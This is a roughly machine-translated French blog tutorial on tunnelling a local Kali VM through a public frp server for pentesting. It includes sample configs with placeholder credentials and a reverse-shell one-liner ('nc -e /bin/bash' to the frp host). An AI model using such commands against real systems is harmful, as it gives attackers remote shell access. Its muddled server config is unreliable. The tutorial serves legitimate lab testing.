Frp Intranet Penetration—Utilisation du proxy kali dans le réseau public pour les tests de pénétration

avant-propos

Parce que kali est souvent utilisé pour le travail, mais que le serveur de réseau public n'a pas d'image kali installée, seule la machine virtuelle kali est installée localement, et la pénétration msf doit souvent faire rebondir le shell sur kali, mais kali dans l'intranet n'a pas une adresse IP de réseau public, afin que le service dans l'intranet puisse être mappé au port de l'adresse IP publique via l'outil frp

Dans le passé, le soleil devenait plus lent et les voitures, les chevaux et le courrier ralentissaient tous.

Présentation de Frp

frp est une application de proxy inverse hautes performances, qui adopte l'architecture C/S (client/serveur) et peut mapper tcp, udp, http, https et d'autres protocoles du client au port correspondant du serveur via une configuration simple Ci-dessus, vous pouvez accéder au service correspondant au client en accédant au port correspondant au serveur.
L'effet de frp est à peu près le suivant : en accédant à un certain port du serveur de réseau public, vous pouvez accéder à un certain service du serveur de réseau interne.
insérez la description de l'image ici

outil de préparation

Afin de compléter la pénétration interne et externe de frp, vous devez préparer les ressources/outils suivants

  • Serveur de réseau public, ici j'utilise CentOS7.6
  • outil serveur/client frp, téléchargement github
  • Serveur intranet ou machine locale, ici j'utilise la machine virtuelle kali2020

frp télécharger le lien github
frp description le lien github
ici fournit également des ressources de disque réseau
de l'architecture amd64 Lien: https://pan.baidu.com/s/1cLO2hI4t9wiJ4aAl0axUsw
Code d'extraction:
le serveur et le client de l'outil qwer frp n'ont pas besoin d'être téléchargés séparément, lorsque déploiement Choisissez un déploiement côté serveur ou côté client

Réaliser la pénétration de l'intranet

configuration du serveur frp

Téléchargez d'abord l'outil frp téléchargé sur le serveur [ici, j'utilise FinalShell pour télécharger des fichiers directement]. Si cela ne vous convient pas, vous pouvez également utiliser wget pour télécharger. La commande tar est décompressée comme suit : modifiez le fichier de configuration frps.ini, ici Je suis sur le port
insérez la description de l'image ici
80 Le service http, le service ssh sur le port 22, le service tcp sur le port 9002 et le port d'écoute utilisé pour le shell de rebond kali sont tous mappés séparément et peuvent être configurés selon les besoins :

[common]
# 一、服务器的基本配置部分
# 7000 是FRP服务端口,可以改
bind_port = 7000
# dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
# 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 7500
# 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022
 
# 二、添加的映射端口
[common]
# FRP服务器的公网ip
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1

# FRP服务器的,服务端口,这个可以改,不过客户端的也要一起改才行。
server_port = 7000


# 三、转发端口:[test01]、[test02] 这些没有任何意义,就是大致描述这个端口作用。
# 每增加一个转发端口,复制下面的两行,然后将[]里面的和vhost_http_port_03改了就行了。
#[test01]
#vhost_http_port = 9001
 
#[test02]
#vhost_tcp_port = 1315
#转发端口配置,实际测试这里影响不大,主要取决于客户端的配置
vhost_http_port = 9001
vhost_ssh_port = 9002
vhost_tcp_port = 9003

Démarrez le serveur frp comme suit :
insérez la description de l'image ici
À ce stade, vous pouvez voir l'état de fonctionnement du service frp en accédant au port 7500 du serveur. Le nom d'utilisateur et le mot de passe sont les valeurs de dashboard_user et dashboard_pwd configurées ci-dessus :

insérez la description de l'image ici
Jusqu'à présent, le serveur frp fonctionne normalement

configuration du client frp

De la même manière, téléchargez l'outil frp sur la machine virtuelle kali. Ici, assurez-vous que kali peut être connecté au réseau normalement. Utilisez également la commande tar pour le décompresser. Configurez le fichier frpc.ini comme suit :

# 客户端配置
[common]
server_addr = 【这里写自己的公网服务器地址】
#例如:server_addr = 1.1.1.1
server_port = 7000          #frp服务端口要和服务端设定的一致
token = frpToken@admin2022  #token要和服务端一致



# 配置http服务,可用于小程序开发、远程调试等,如果没有可以不写下面的
[web]
type = http
local_ip = 0.0.0.0
local_port = 80   #本地需要映射的端口
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9001 #映射到服务端的端口

#kali ssh
[ssh]
type = tcp
local_ip = 0.0.0.0
local_port = 22
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9002  

#tcp msfconsole
[tcp]
type = tcp
local_ip = 0.0.0.0
local_port = 9003
custom_domains = 【这里写自己的公网服务器地址】
remote_port = 9003

Exécutez le client frp sur kali comme suit. À ce stade, assurez-vous que le serveur frp fonctionne normalement. Vous pouvez voir que les trois ports que nous avons configurés sont mappés normalement. S'il indique que la connexion est rejetée, vous pouvez envisager de libérer le port correspondant sur le pare-feu. Jusqu'à présent, la
configuration normale du serveur et du client

test

Test de service HTTP

À ce stade, utilisez python pour ouvrir un service http sur kali à des fins de test

python3 -m http.server 80

Le service http est normalement activé
insérez la description de l'image ici
En accédant à l'IP du réseau public que nous avons défini : le port correspondant, vous pouvez voir le service HTTP activé sur Kali. Vous
insérez la description de l'image ici
pouvez également voir le lien de mappage frp correspondant sur l'interface administrateur frp au port 7500.
insérez la description de l'image ici

Jusqu'à présent, nous pouvons accéder au service correspondant dans le serveur intranet en accédant au port correspondant du réseau public IP

test de service ssh

Tout d'abord, assurez-vous que le service ssh est normalement activé sur Kali et que le serveur et le client frp sont démarrés normalement.Vous
insérez la description de l'image ici
pouvez également voir le lien de mappage frp correspondant sur l'interface administrateur frp sur le port 7500.Ce qui est déroutant ici, c'est que le Le client et le serveur frp sont configurés. Le port de mappage ssh est 9002, mais connectez-vous réellement à ssh en fonction du port fourni par l'interface de gestion et
insérez la description de l'image ici
testez avec ssh, vous pouvez voir que vous vous êtes connecté avec succès à ssh via le port 4880
insérez la description de l'image ici

Test de coque de rebond

Lors de l'utilisation de l'outil msf dans kali, il est souvent nécessaire de définir le port d'écoute local afin de rebondir le shell.Cependant, kali dans la machine virtuelle n'a pas d'adresse réseau publique, il est donc difficile de tester le serveur dans le réseau public . Le proxy frp résout très bien ce problème. Problème
Dans la configuration ci-dessus, j'ai configuré un port 9003 basé sur tcp, qui est mappé sur le port 9003 de la machine virtuelle kali comme port d'écoute du shell de rebond, de sorte que la machine virtuelle kali peut être utilisé pour tester le serveur du réseau public. Le test spécifique est le suivant :
Tout d'abord, activez la surveillance sur kali
insérez la description de l'image ici
, puis utilisez un autre serveur pouvant se connecter à Internet pour faire rebondir le shell

nc -e /bin/bash 【frp服务器地址】 【frp映射TCP端口】
例:nc -e /bin/bash 1.1.1.1 9003

Après avoir exécuté la commande, le shell est reçu avec succès dans kali.
insérez la description de l'image ici
Bien sûr, vous pouvez également utiliser msf pour générer la charge utile à tester ici. Je ne poursuivrai pas la démonstration ici.

Avis

Lorsque vous utilisez frp pour pénétrer l'intranet, vous devez faire attention. Puisque frp adopte l'architecture C/S, l'accès de l'utilisateur au port mappé du serveur frp est un accès local du point de vue du client, ce qui équivaut au frp du client pour accéder à son propre service, puis transférer le trafic, le résumé est que le client frp pense que toutes les visites proviennent du local et ne peut pas connaître la véritable adresse IP du visiteur, le serveur frp peut voir la "vraie" adresse IP du visiteur , peut-être que le visiteur utilise également un proxy
Par conséquent, lors de l'accès HTTP ou ssh ci-dessus, la machine virtuelle kali pense que ces visites proviennent du client frp local et ne peut pas savoir d'où vient l'utilisateur réel, ce qui aura des exigences plus élevées pour la sécurité politique du client frp

Si vous avez d'autres questions, veuillez laisser un message dans la zone de commentaires ou contactez-moi ~

Je suppose que tu aimes

Origine blog.csdn.net/monster663/article/details/126797109
conseillé
Classement